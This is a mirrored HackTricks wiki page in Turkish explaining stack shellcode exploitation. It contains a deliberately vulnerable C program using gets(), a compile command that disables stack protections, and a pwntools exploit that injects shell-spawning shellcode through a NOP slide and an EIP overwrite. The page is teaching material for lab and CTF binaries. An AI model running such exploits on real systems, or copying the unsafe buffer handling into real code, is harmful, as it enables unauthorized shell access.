mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
5.3 KiB
Markdown
92 lines
5.3 KiB
Markdown
# Stack Shellcode
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Temel Bilgiler
|
||
|
||
**Stack shellcode**, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve bununla birlikte **pwntools** kullanarak nasıl bir istismar yazabileceğinize dair bilgiler.
|
||
|
||
### C Örneği: Savunmasız Bir Program
|
||
|
||
Basit bir savunmasız C programı örneğiyle başlayalım:
|
||
```c
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
|
||
void vulnerable_function() {
|
||
char buffer[64];
|
||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||
}
|
||
|
||
int main() {
|
||
vulnerable_function();
|
||
printf("Returned safely\n");
|
||
return 0;
|
||
}
|
||
```
|
||
Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow açığına sahiptir.
|
||
|
||
### Derleme
|
||
|
||
Bu programı çeşitli korumaları devre dışı bırakarak (açık bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:
|
||
```sh
|
||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||
```
|
||
- `-fno-stack-protector`: Yığın korumasını devre dışı bırakır.
|
||
- `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir.
|
||
- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un yer alacağı bellek adresini tahmin etmeyi kolaylaştırır.
|
||
- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.
|
||
|
||
### Python Exploit using Pwntools
|
||
|
||
İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir istismar yazmanın yolu:
|
||
```python
|
||
from pwn import *
|
||
|
||
# Set up the process and context
|
||
binary_path = './vulnerable'
|
||
p = process(binary_path)
|
||
context.binary = binary_path
|
||
context.arch = 'i386' # Specify the architecture
|
||
|
||
# Generate the shellcode
|
||
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
||
|
||
# Find the offset to EIP
|
||
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
||
|
||
# Prepare the payload
|
||
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
||
nop_slide = asm('nop') * (offset - len(shellcode))
|
||
payload = nop_slide + shellcode
|
||
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
||
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||
|
||
# Send the payload
|
||
p.sendline(payload)
|
||
p.interactive()
|
||
```
|
||
Bu script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'ına işaret eden adresle yazan bir payload oluşturur, böylece shellcode'un çalıştırılmasını sağlar.
|
||
|
||
**NOP slide** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, buffer'ınızın başlangıç adresine artı bir offset ekleyerek NOP slide'ına ulaşacak şekilde ayarlayın.
|
||
|
||
## Koruma Önlemleri
|
||
|
||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde, fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak.
|
||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde, ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir.
|
||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, shellcode'un stack içinde çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır.
|
||
|
||
## Diğer Örnekler ve Referanslar
|
||
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||
- 64bit, stack adres leak ile ASLR, shellcode yaz ve ona atla
|
||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||
- 32 bit, stack leak ile ASLR, shellcode yaz ve ona atla
|
||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||
- 32 bit, stack leak ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla
|
||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||
- arm64, ASLR yok, stack'i çalıştırılabilir hale getirmek için ROP gadget ve stack'teki shellcode'a atla
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|